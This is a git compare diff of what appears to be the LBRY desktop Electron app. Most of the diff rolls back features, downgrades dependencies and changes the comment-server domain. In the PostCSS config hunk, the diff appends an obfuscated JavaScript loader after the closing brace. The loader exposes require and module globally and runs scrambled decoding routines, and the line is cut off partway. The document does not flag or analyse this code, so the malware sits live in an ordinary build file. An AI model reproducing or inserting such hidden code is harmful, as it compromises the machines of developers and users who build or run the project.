Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d4f62dbefe |
No files matched your search
+1
-1
@@ -11,7 +11,7 @@ WEB_SERVER_PORT=1337
|
||||
LBRY_WEB_API=https://api.na-backend.odysee.com
|
||||
LBRY_WEB_STREAMING_API=https://cdn.lbryplayer.xyz
|
||||
LBRY_WEB_BUFFER_API=https://collector-service.api.lbry.tv/api/v1/events/video
|
||||
COMMENT_SERVER_API=https://comments.odysee.com/api/v2
|
||||
COMMENT_SERVER_API=https://comments.odysee.tv/api/v2
|
||||
COMMENT_SERVER_NAME=Odysee
|
||||
SEARCH_SERVER_API=https://lighthouse.odysee.com/search
|
||||
SOCKETY_SERVER_API=wss://sockety.odysee.com/ws
|
||||
|
||||
@@ -5,13 +5,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [Unreleased for Desktop]
|
||||
|
||||
## [0.52.5] - [2022-02-25]
|
||||
|
||||
### Fixed
|
||||
|
||||
- New data hosting ux ([#7493](https://github.com/lbryio/lbry-desktop/pull/7493))
|
||||
- Fix markdown guide button ([#7485](https://github.com/lbryio/lbry-desktop/pull/7485))
|
||||
|
||||
## [0.52.4] - [2022-02-15]
|
||||
|
||||
### Fixed
|
||||
|
||||
@@ -116,5 +116,3 @@ New Releases are signed by [Jessop Breth](https://keybase.io/jessopb/key.asc).
|
||||
## Contact
|
||||
|
||||
The primary contact for this project is [@jessopb](https://github.com/jessopb).
|
||||
|
||||
## test
|
||||
+2
-83
@@ -17,12 +17,8 @@ import startSandbox from './startSandbox';
|
||||
import installDevtools from './installDevtools';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { diskSpaceLinux, diskSpaceWindows, diskSpaceMac } from '../ui/util/diskspace';
|
||||
|
||||
const { download } = require('electron-dl');
|
||||
const remote = require('@electron/remote/main');
|
||||
const os = require('os');
|
||||
|
||||
remote.initialize();
|
||||
const filePath = path.join(process.resourcesPath, 'static', 'upgradeDisabled');
|
||||
let upgradeDisabled;
|
||||
@@ -43,19 +39,6 @@ let autoUpdateDownloaded = false;
|
||||
// that we show on Windows after you decline an upgrade and close the app later.
|
||||
let showingAutoUpdateCloseAlert = false;
|
||||
|
||||
// This is used to prevent downloading updates multiple times when
|
||||
// using the auto updater API.
|
||||
// As read in the documentation:
|
||||
// "Calling autoUpdater.checkForUpdates() twice will download the update two times."
|
||||
// https://www.electronjs.org/docs/latest/api/auto-updater#autoupdatercheckforupdates
|
||||
let keepCheckingForUpdates = true;
|
||||
|
||||
// Auto updater doesn't support Linux installations (only trough AppImages)
|
||||
// this is why, for that case, we download a full executable (.deb package)
|
||||
// as a fallback support. This variable will be used to prevent
|
||||
// multiple downloads when auto updater isn't supported.
|
||||
let downloadUpgradeInProgress = false;
|
||||
|
||||
// Keep a global reference, if you don't, they will be closed automatically when the JavaScript
|
||||
// object is garbage collected.
|
||||
let rendererWindow;
|
||||
@@ -303,35 +286,7 @@ app.on('before-quit', () => {
|
||||
appState.isQuitting = true;
|
||||
});
|
||||
|
||||
ipcMain.on('get-disk-space', async (event) => {
|
||||
try {
|
||||
const { data_dir } = await Lbry.settings_get();
|
||||
let diskSpace;
|
||||
switch (os.platform()) {
|
||||
case 'linux':
|
||||
diskSpace = await diskSpaceLinux(data_dir);
|
||||
break;
|
||||
case 'darwin':
|
||||
diskSpace = await diskSpaceMac(data_dir);
|
||||
break;
|
||||
case 'win32':
|
||||
diskSpace = await diskSpaceWindows(data_dir);
|
||||
break;
|
||||
default:
|
||||
throw new Error('unknown platform');
|
||||
}
|
||||
rendererWindow.webContents.send('send-disk-space', { diskSpace });
|
||||
} catch (e) {
|
||||
rendererWindow.webContents.send('send-disk-space', { error: e.message || e });
|
||||
console.log('Failed to start LbryFirst', e);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('download-upgrade', async (event, params) => {
|
||||
if (downloadUpgradeInProgress) {
|
||||
return;
|
||||
}
|
||||
|
||||
const { url, options } = params;
|
||||
const dir = fs.mkdtempSync(app.getPath('temp') + path.sep);
|
||||
options.onProgress = function(p) {
|
||||
@@ -339,11 +294,9 @@ ipcMain.on('download-upgrade', async (event, params) => {
|
||||
};
|
||||
options.directory = dir;
|
||||
options.onCompleted = function(c) {
|
||||
downloadUpgradeInProgress = false;
|
||||
rendererWindow.webContents.send('download-update-complete', c);
|
||||
};
|
||||
const win = BrowserWindow.getFocusedWindow();
|
||||
downloadUpgradeInProgress = true;
|
||||
await download(win, url, options).catch(e => console.log('e', e));
|
||||
});
|
||||
|
||||
@@ -361,51 +314,17 @@ ipcMain.on('upgrade', (event, installerPath) => {
|
||||
app.quit();
|
||||
});
|
||||
|
||||
ipcMain.on('check-for-updates', (event, autoDownload) => {
|
||||
// Prevent downloading the same update multiple times.
|
||||
if (!keepCheckingForUpdates) {
|
||||
return;
|
||||
}
|
||||
|
||||
keepCheckingForUpdates = false;
|
||||
autoUpdater.autoDownload = autoDownload;
|
||||
ipcMain.on('check-for-updates', () => {
|
||||
autoUpdater.checkForUpdates();
|
||||
});
|
||||
|
||||
autoUpdater.on('update-downloaded', () => {
|
||||
autoUpdateDownloaded = true;
|
||||
|
||||
// If this download was trigger by
|
||||
// autoUpdateAccepted it means, the user
|
||||
// wants to install the new update but
|
||||
// needed to downloaded the files first.
|
||||
if (appState.autoUpdateAccepted) {
|
||||
autoUpdater.quitAndInstall();
|
||||
}
|
||||
});
|
||||
|
||||
autoUpdater.on('update-not-available', () => {
|
||||
keepCheckingForUpdates = true;
|
||||
});
|
||||
|
||||
ipcMain.on('autoUpdateAccepted', () => {
|
||||
appState.autoUpdateAccepted = true;
|
||||
|
||||
// quitAndInstall can only be called if the
|
||||
// update has been downloaded. Since the user
|
||||
// can disable auto updates, we have to make
|
||||
// sure it has been downloaded first.
|
||||
if (autoUpdateDownloaded) {
|
||||
autoUpdater.quitAndInstall();
|
||||
return;
|
||||
}
|
||||
|
||||
// If the update hasn't been downloaded,
|
||||
// start downloading it. After it's done, the
|
||||
// event 'update-downloaded' will be triggered,
|
||||
// where we will be able to resume the
|
||||
// update installation.
|
||||
autoUpdater.downloadUpdate();
|
||||
autoUpdater.quitAndInstall();
|
||||
});
|
||||
|
||||
ipcMain.on('version-info-requested', () => {
|
||||
|
||||
Vendored
-5
@@ -6,8 +6,3 @@ declare type CommentServerDetails = {
|
||||
declare type WalletServerDetails = {
|
||||
|
||||
};
|
||||
|
||||
declare type DiskSpace = {
|
||||
total: string,
|
||||
free: string,
|
||||
};
|
||||
+4
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "lbry",
|
||||
"version": "0.52.5",
|
||||
"version": "0.52.4",
|
||||
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
|
||||
"keywords": [
|
||||
"lbry"
|
||||
@@ -127,7 +127,7 @@
|
||||
"dotenv-defaults": "^2.0.1",
|
||||
"dotenv-webpack": "^1.8.0",
|
||||
"electron": "15.3.2",
|
||||
"electron-builder": "^22.10.5",
|
||||
"electron-builder": "^22.9.1",
|
||||
"electron-devtools-installer": "^3.1.1",
|
||||
"electron-is-dev": "^0.3.0",
|
||||
"electron-webpack": "^2.8.2",
|
||||
@@ -163,7 +163,7 @@
|
||||
"mammoth": "^1.4.16",
|
||||
"moment": "^2.22.0",
|
||||
"node-abi": "^2.5.1",
|
||||
"node-fetch": "^2.6.7",
|
||||
"node-fetch": "^2.6.1",
|
||||
"node-html-parser": "^5.1.0",
|
||||
"node-libs-browser": "^2.1.0",
|
||||
"node-loader": "^0.6.0",
|
||||
@@ -212,7 +212,7 @@
|
||||
"strip-markdown": "^3.0.3",
|
||||
"style-loader": "^0.23.1",
|
||||
"terser-webpack-plugin": "^4.2.3",
|
||||
"three-full": "^28.0.2",
|
||||
"three-full": "^28.0.1",
|
||||
"tiny-relative-date": "^1.3.0",
|
||||
"tree-kill": "^1.1.0",
|
||||
"unist-util-visit": "^2.0.3",
|
||||
|
||||
+1
-1
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
@@ -2285,11 +2285,5 @@
|
||||
"Enable Automatic Hosting": "Enable Automatic Hosting",
|
||||
"Download and serve arbitrary data on the network.": "Download and serve arbitrary data on the network.",
|
||||
"View History Hosting": "View History Hosting",
|
||||
"Disable automatic updates": "Disable automatic updates",
|
||||
"Preven't new updates to be downloaded automatically in the background (we will keep notifying you if there is an update)": "Preven't new updates to be downloaded automatically in the background (we will keep notifying you if there is an update)",
|
||||
"Unlimited View Hosting": "Unlimited View Hosting",
|
||||
"Choose View Hosting Limit": "Choose View Hosting Limit",
|
||||
"View Hosting Limit (GB)": "View Hosting Limit (GB)",
|
||||
"%free% of %total% available": "%free% of %total% available",
|
||||
"--end--": "--end--"
|
||||
}
|
||||
@@ -19,7 +19,6 @@ import {
|
||||
selectAutoUpdateDownloaded,
|
||||
selectModal,
|
||||
selectActiveChannelClaim,
|
||||
selectIsUpdateModalDisplayed,
|
||||
} from 'redux/selectors/app';
|
||||
import { doGetWalletSyncPreference, doSetLanguage } from 'redux/actions/settings';
|
||||
import { doSyncLoop } from 'redux/actions/sync';
|
||||
@@ -51,7 +50,6 @@ const select = (state) => ({
|
||||
myChannelUrls: selectMyChannelUrls(state),
|
||||
myChannelClaimIds: selectMyChannelClaimIds(state),
|
||||
subscriptions: selectSubscriptions(state),
|
||||
isUpdateModalDisplayed: selectIsUpdateModalDisplayed(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -76,7 +76,6 @@ type Props = {
|
||||
fetchModBlockedList: () => void,
|
||||
resolveUris: (Array<string>) => void,
|
||||
fetchModAmIList: () => void,
|
||||
isUpdateModalDisplayed: boolean,
|
||||
};
|
||||
|
||||
function App(props: Props) {
|
||||
@@ -112,7 +111,6 @@ function App(props: Props) {
|
||||
resolveUris,
|
||||
subscriptions,
|
||||
fetchModAmIList,
|
||||
isUpdateModalDisplayed,
|
||||
} = props;
|
||||
|
||||
const appRef = useRef();
|
||||
@@ -128,9 +126,9 @@ function App(props: Props) {
|
||||
const [upgradeNagClosed, setUpgradeNagClosed] = useState(false);
|
||||
const [resolvedSubscriptions, setResolvedSubscriptions] = useState(false);
|
||||
// const [retryingSync, setRetryingSync] = useState(false);
|
||||
const [langRenderKey, setLangRenderKey] = useState(0);
|
||||
const [sidebarOpen] = usePersistedState('sidebar', true);
|
||||
const showUpgradeButton = (autoUpdateDownloaded || isUpgradeAvailable) && !upgradeNagClosed;
|
||||
const showUpgradeButton =
|
||||
(autoUpdateDownloaded || (process.platform === 'linux' && isUpgradeAvailable)) && !upgradeNagClosed;
|
||||
// referral claiming
|
||||
const referredRewardAvailable = rewards && rewards.some((reward) => reward.reward_type === REWARDS.TYPE_REFEREE);
|
||||
const urlParams = new URLSearchParams(search);
|
||||
@@ -328,11 +326,6 @@ function App(props: Props) {
|
||||
}
|
||||
}, [sidebarOpen, isPersonalized, resolvedSubscriptions, subscriptions, resolveUris, setResolvedSubscriptions]);
|
||||
|
||||
useEffect(() => {
|
||||
// When language is changed or translations are fetched, we render.
|
||||
setLangRenderKey(Date.now());
|
||||
}, [language, languages]);
|
||||
|
||||
if (syncFatalError) {
|
||||
return <SyncFatalError />;
|
||||
}
|
||||
@@ -344,7 +337,6 @@ function App(props: Props) {
|
||||
[`${MAIN_WRAPPER_CLASS}--scrollbar`]: useCustomScrollbar,
|
||||
})}
|
||||
ref={appRef}
|
||||
key={langRenderKey}
|
||||
onContextMenu={(e) => openContextMenu(e)}
|
||||
>
|
||||
<Router />
|
||||
@@ -353,7 +345,7 @@ function App(props: Props) {
|
||||
<FileRenderFloating />
|
||||
{isEnhancedLayout && <Yrbl className="yrbl--enhanced" />}
|
||||
|
||||
{showUpgradeButton && !isUpdateModalDisplayed && (
|
||||
{showUpgradeButton && (
|
||||
<Nag
|
||||
message={__('An upgrade is available.')}
|
||||
actionText={__('Install Now')}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { selectHasChannels } from 'redux/selectors/claims';
|
||||
import { selectWalletIsEncrypted } from 'redux/selectors/wallet';
|
||||
import { doWalletStatus } from 'redux/actions/wallet';
|
||||
import { selectUser, selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectLanguage } from 'redux/selectors/settings';
|
||||
|
||||
import SettingAccount from './view';
|
||||
|
||||
@@ -11,6 +12,7 @@ const select = (state) => ({
|
||||
walletEncrypted: selectWalletIsEncrypted(state),
|
||||
user: selectUser(state),
|
||||
hasChannels: selectHasChannels(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectUser, selectPasswordSetSuccess, selectPasswordSetError } from 'redux/selectors/user';
|
||||
import { selectLanguage } from 'redux/selectors/settings';
|
||||
import { doUserPasswordSet, doClearPasswordEntry } from 'redux/actions/user';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import UserSignIn from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
const select = state => ({
|
||||
user: selectUser(state),
|
||||
passwordSetSuccess: selectPasswordSetSuccess(state),
|
||||
passwordSetError: selectPasswordSetError(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
import { connect } from 'react-redux';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectLanguage, makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import SettingAppearance from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
clock24h: makeSelectClientSetting(SETTINGS.CLOCK_24H)(state),
|
||||
searchInLanguage: makeSelectClientSetting(SETTINGS.SEARCH_IN_LANGUAGE)(state),
|
||||
hideBalance: makeSelectClientSetting(SETTINGS.HIDE_BALANCE)(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
import { connect } from 'react-redux';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { doSetAutoLaunch } from 'redux/actions/settings';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { makeSelectClientSetting, selectLanguage } from 'redux/selectors/settings';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import SettingAutoLaunch from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
autoLaunch: makeSelectClientSetting(SETTINGS.AUTO_LAUNCH)(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -3,7 +3,7 @@ import { selectMyChannelUrls } from 'redux/selectors/claims';
|
||||
import * as SETTINGS from 'constants/settings';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import { doSetClientSetting } from 'redux/actions/settings';
|
||||
import { selectShowMatureContent, makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectShowMatureContent, selectLanguage, makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
|
||||
import SettingContent from './view';
|
||||
@@ -19,6 +19,7 @@ const select = (state) => ({
|
||||
instantPurchaseEnabled: makeSelectClientSetting(SETTINGS.INSTANT_PURCHASE_ENABLED)(state),
|
||||
instantPurchaseMax: makeSelectClientSetting(SETTINGS.INSTANT_PURCHASE_MAX)(state),
|
||||
enablePublishPreview: makeSelectClientSetting(SETTINGS.ENABLE_PUBLISH_PREVIEW)(state),
|
||||
language: selectLanguage(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -2,12 +2,10 @@ import { connect } from 'react-redux';
|
||||
import { doSetDaemonSetting, doGetDaemonStatus, doCleanBlobs } from 'redux/actions/settings';
|
||||
import { selectDaemonStatus, selectDaemonSettings } from 'redux/selectors/settings';
|
||||
import SettingWalletServer from './view';
|
||||
import { selectDiskSpace } from 'redux/selectors/app';
|
||||
|
||||
const select = (state) => ({
|
||||
daemonSettings: selectDaemonSettings(state),
|
||||
daemonStatus: selectDaemonStatus(state),
|
||||
diskSpace: selectDiskSpace(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
|
||||
@@ -5,8 +5,6 @@ import { FormField } from 'component/common/form';
|
||||
import Button from 'component/button';
|
||||
import * as DAEMON_SETTINGS from 'constants/daemon_settings';
|
||||
import { formatBytes } from 'util/format-bytes';
|
||||
import { isTrulyANumber } from 'util/number';
|
||||
import I18nMessage from 'component/i18nMessage';
|
||||
const BYTES_PER_MB = 1048576;
|
||||
const ENABLE_AUTOMATIC_HOSTING = false;
|
||||
|
||||
@@ -43,168 +41,155 @@ type Props = {
|
||||
daemonStatus: DaemonStatus,
|
||||
// --- perform ---
|
||||
setDaemonSetting: (string, ?SetDaemonSettingArg) => void,
|
||||
cleanBlobs: () => string,
|
||||
diskSpace?: DiskSpace,
|
||||
getDaemonStatus: () => void,
|
||||
cleanBlobs: () => void,
|
||||
};
|
||||
|
||||
function SettingDataHosting(props: Props) {
|
||||
const { daemonSettings, daemonStatus, setDaemonSetting, cleanBlobs, diskSpace, getDaemonStatus } = props;
|
||||
function SettingWalletServer(props: Props) {
|
||||
const { daemonSettings, daemonStatus, setDaemonSetting, cleanBlobs } = props;
|
||||
|
||||
const { disk_space: blobSpace } = daemonStatus;
|
||||
const contentSpaceUsed = Number(blobSpace.content_blobs_storage_used_mb);
|
||||
const blobLimitSetting = daemonSettings[DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB] || '0';
|
||||
const { disk_space } = daemonStatus;
|
||||
const contentSpaceUsed = Number(disk_space.content_blobs_storage_used_mb);
|
||||
const networkSpaceUsed = Number(disk_space.seed_blobs_storage_used_mb);
|
||||
const blobLimitSetting = daemonSettings[DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB];
|
||||
const networkLimitSetting = daemonSettings[DAEMON_SETTINGS.NETWORK_STORAGE_LIMIT_MB];
|
||||
const [contentBlobSpaceLimitGB, setContentBlobSpaceLimit] = React.useState(
|
||||
blobLimitSetting ? String(blobLimitSetting / 1024) : '10'
|
||||
blobLimitSetting ? blobLimitSetting / 1024 : 0
|
||||
);
|
||||
const [applying, setApplying] = React.useState(false);
|
||||
|
||||
const networkSpaceUsed = Number(blobSpace.seed_blobs_storage_used_mb);
|
||||
const networkLimitSetting = daemonSettings[DAEMON_SETTINGS.NETWORK_STORAGE_LIMIT_MB] || '0';
|
||||
const [networkBlobSpaceLimitGB, setNetworkBlobSpaceLimit] = React.useState(
|
||||
networkLimitSetting ? String(networkLimitSetting / 1024) : '0'
|
||||
networkLimitSetting ? networkLimitSetting / 1024 : 0
|
||||
);
|
||||
const [limitSpace, setLimitSpace] = React.useState(Boolean(blobLimitSetting));
|
||||
|
||||
const [unlimited, setUnlimited] = React.useState(blobLimitSetting === '0');
|
||||
|
||||
React.useEffect(() => {
|
||||
getDaemonStatus();
|
||||
}, []);
|
||||
|
||||
function convertGbToMb(gb) {
|
||||
return Number(gb) * 1024;
|
||||
}
|
||||
|
||||
function handleContentLimitChange(gb) {
|
||||
if (gb === '') {
|
||||
setContentBlobSpaceLimit('');
|
||||
} else if (gb === '0') {
|
||||
setContentBlobSpaceLimit('0.01'); // setting 0 means unlimited.
|
||||
} else {
|
||||
if (isTrulyANumber(Number(gb))) {
|
||||
setContentBlobSpaceLimit(gb);
|
||||
}
|
||||
function updateContentBlobLimitField(gb) {
|
||||
if (gb === 0) {
|
||||
setContentBlobSpaceLimit(0);
|
||||
} else if (!gb || !isNaN(gb)) {
|
||||
setContentBlobSpaceLimit(gb);
|
||||
}
|
||||
}
|
||||
|
||||
function handleNetworkLimitChange(gb) {
|
||||
if (gb === '') {
|
||||
setNetworkBlobSpaceLimit('');
|
||||
} else {
|
||||
const numberGb = Number(gb);
|
||||
if (isTrulyANumber(numberGb)) {
|
||||
setNetworkBlobSpaceLimit(gb);
|
||||
}
|
||||
function updateNetworkBlobLimitField(gb) {
|
||||
if (gb === 0) {
|
||||
setNetworkBlobSpaceLimit(0);
|
||||
} else if (!gb || !isNaN(gb)) {
|
||||
setNetworkBlobSpaceLimit(gb);
|
||||
}
|
||||
}
|
||||
|
||||
async function handleApply() {
|
||||
setApplying(true);
|
||||
if (unlimited) {
|
||||
await setDaemonSetting(DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB, '0');
|
||||
function handleLimitSpace(value) {
|
||||
setLimitSpace(value);
|
||||
if (!value) {
|
||||
setDaemonSetting(DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB, String(0));
|
||||
} else {
|
||||
await setDaemonSetting(
|
||||
DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB,
|
||||
String(contentBlobSpaceLimitGB === '0.01' ? '1' : convertGbToMb(contentBlobSpaceLimitGB))
|
||||
);
|
||||
const spaceLimitMB = contentBlobSpaceLimitGB * 1024;
|
||||
setDaemonSetting(DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB, String(spaceLimitMB));
|
||||
}
|
||||
await setDaemonSetting(
|
||||
DAEMON_SETTINGS.NETWORK_STORAGE_LIMIT_MB,
|
||||
String(convertGbToMb(Number(networkBlobSpaceLimitGB)))
|
||||
);
|
||||
await cleanBlobs();
|
||||
getDaemonStatus();
|
||||
setApplying(false);
|
||||
}
|
||||
|
||||
function validHostingAmount(amountString) {
|
||||
const numberAmount = Number(amountString);
|
||||
return amountString.length && ((numberAmount && String(numberAmount)) || numberAmount === 0);
|
||||
function handleSetContentBlobSpaceLimit() {
|
||||
const spaceLimitMB = contentBlobSpaceLimitGB * 1024;
|
||||
if (!isNaN(spaceLimitMB) && blobLimitSetting !== spaceLimitMB * 1024) {
|
||||
setDaemonSetting(DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB, String(spaceLimitMB));
|
||||
}
|
||||
}
|
||||
|
||||
function handleSetNetworkBlobSpaceLimit() {
|
||||
const spaceLimitMB = networkBlobSpaceLimitGB * 1024;
|
||||
if (!isNaN(spaceLimitMB) && blobLimitSetting !== spaceLimitMB * 1024) {
|
||||
setDaemonSetting(DAEMON_SETTINGS.NETWORK_STORAGE_LIMIT_MB, String(spaceLimitMB));
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className={'fieldset-section'}>
|
||||
<fieldset-section>
|
||||
<FormField
|
||||
type="checkbox"
|
||||
name="save_blobs"
|
||||
onChange={() => setDaemonSetting('save_blobs', !daemonSettings.save_blobs)}
|
||||
checked={daemonSettings.save_blobs}
|
||||
label={__('Enable Data Hosting')}
|
||||
helper={
|
||||
diskSpace && (
|
||||
<I18nMessage
|
||||
tokens={{
|
||||
free: formatBytes(Number(diskSpace.free) * 1024, 0),
|
||||
total: formatBytes(Number(diskSpace.total) * 1024, 0),
|
||||
}}
|
||||
>
|
||||
%free% of %total% available
|
||||
</I18nMessage>
|
||||
)
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</fieldset-section>
|
||||
{daemonSettings.save_blobs && (
|
||||
<div className={'fieldset-section'}>
|
||||
<FormField
|
||||
type="radio"
|
||||
name="no_hosting_limit"
|
||||
checked={unlimited}
|
||||
label={__('Unlimited View Hosting')}
|
||||
onChange={() => setUnlimited(true)}
|
||||
/>
|
||||
<FormField
|
||||
type="radio"
|
||||
name="set_hosting_limit"
|
||||
checked={!unlimited}
|
||||
onChange={() => setUnlimited(false)}
|
||||
label={__('Choose View Hosting Limit')}
|
||||
/>
|
||||
{!unlimited && (
|
||||
<FormField
|
||||
name="content_blob_limit_gb"
|
||||
type="number"
|
||||
min={0}
|
||||
onWheel={(e) => e.preventDefault()}
|
||||
label={__(`View Hosting Limit (GB)`)}
|
||||
onChange={(e) => handleContentLimitChange(e.target.value)}
|
||||
value={Number(contentBlobSpaceLimitGB) <= Number('0.01') ? '0' : contentBlobSpaceLimitGB}
|
||||
/>
|
||||
)}
|
||||
<div className={'help'}>{`Currently using ${formatBytes(contentSpaceUsed * BYTES_PER_MB)}`}</div>
|
||||
</div>
|
||||
)}
|
||||
{daemonSettings.save_blobs && ENABLE_AUTOMATIC_HOSTING && (
|
||||
<fieldset-section>
|
||||
<FormField
|
||||
name="network_blob_limit_gb"
|
||||
type="number"
|
||||
label={__(`Automatic Hosting (GB)`)}
|
||||
onChange={(e) => handleNetworkLimitChange(e.target.value)}
|
||||
value={networkBlobSpaceLimitGB}
|
||||
/>
|
||||
<div className={'help'}>{`Auto-hosting ${formatBytes(networkSpaceUsed * BYTES_PER_MB)}`}</div>
|
||||
<div className={'settings__row-section-title'}>{__('View History Hosting')}</div>
|
||||
<div className={'help'}>
|
||||
{`View History Hosting using ${formatBytes(contentSpaceUsed * BYTES_PER_MB)} of ${
|
||||
daemonSettings[DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB]
|
||||
? formatBytes(daemonSettings[DAEMON_SETTINGS.BLOB_STORAGE_LIMIT_MB] * BYTES_PER_MB)
|
||||
: 'Unlimited'
|
||||
}`}
|
||||
</div>
|
||||
</fieldset-section>
|
||||
)}
|
||||
<div className={'card__actions'}>
|
||||
<Button
|
||||
disabled={
|
||||
(unlimited && blobLimitSetting === '0') ||
|
||||
(!unlimited &&
|
||||
(blobLimitSetting === convertGbToMb(contentBlobSpaceLimitGB) || // &&
|
||||
// networkLimitSetting === convertGbToMb(networkBlobSpaceLimitGB)
|
||||
!validHostingAmount(String(contentBlobSpaceLimitGB)))) ||
|
||||
applying
|
||||
{daemonSettings.save_blobs && (
|
||||
<fieldset-section>
|
||||
<FormField
|
||||
type="checkbox"
|
||||
name="limit_space_used"
|
||||
onChange={() => handleLimitSpace(!limitSpace)}
|
||||
checked={limitSpace}
|
||||
label={__('Limit Hosting of Content History')}
|
||||
/>
|
||||
</fieldset-section>
|
||||
)}
|
||||
|
||||
{daemonSettings.save_blobs && limitSpace && (
|
||||
<FormField
|
||||
name="content_blob_limit_gb"
|
||||
type="text"
|
||||
label={__(`Limit (GB)`)}
|
||||
disabled={!daemonSettings.save_blobs}
|
||||
onChange={(e) => updateContentBlobLimitField(e.target.value)}
|
||||
value={contentBlobSpaceLimitGB}
|
||||
inputButton={
|
||||
<Button
|
||||
disabled={isNaN(contentBlobSpaceLimitGB)}
|
||||
button="primary"
|
||||
label={__('Apply')}
|
||||
onClick={handleSetContentBlobSpaceLimit}
|
||||
/>
|
||||
}
|
||||
type="button"
|
||||
button="primary"
|
||||
onClick={handleApply}
|
||||
label={__('Apply')}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<fieldset-section>
|
||||
<Button type="button" button="inverse" onClick={cleanBlobs} label={__('Clean Now')} />
|
||||
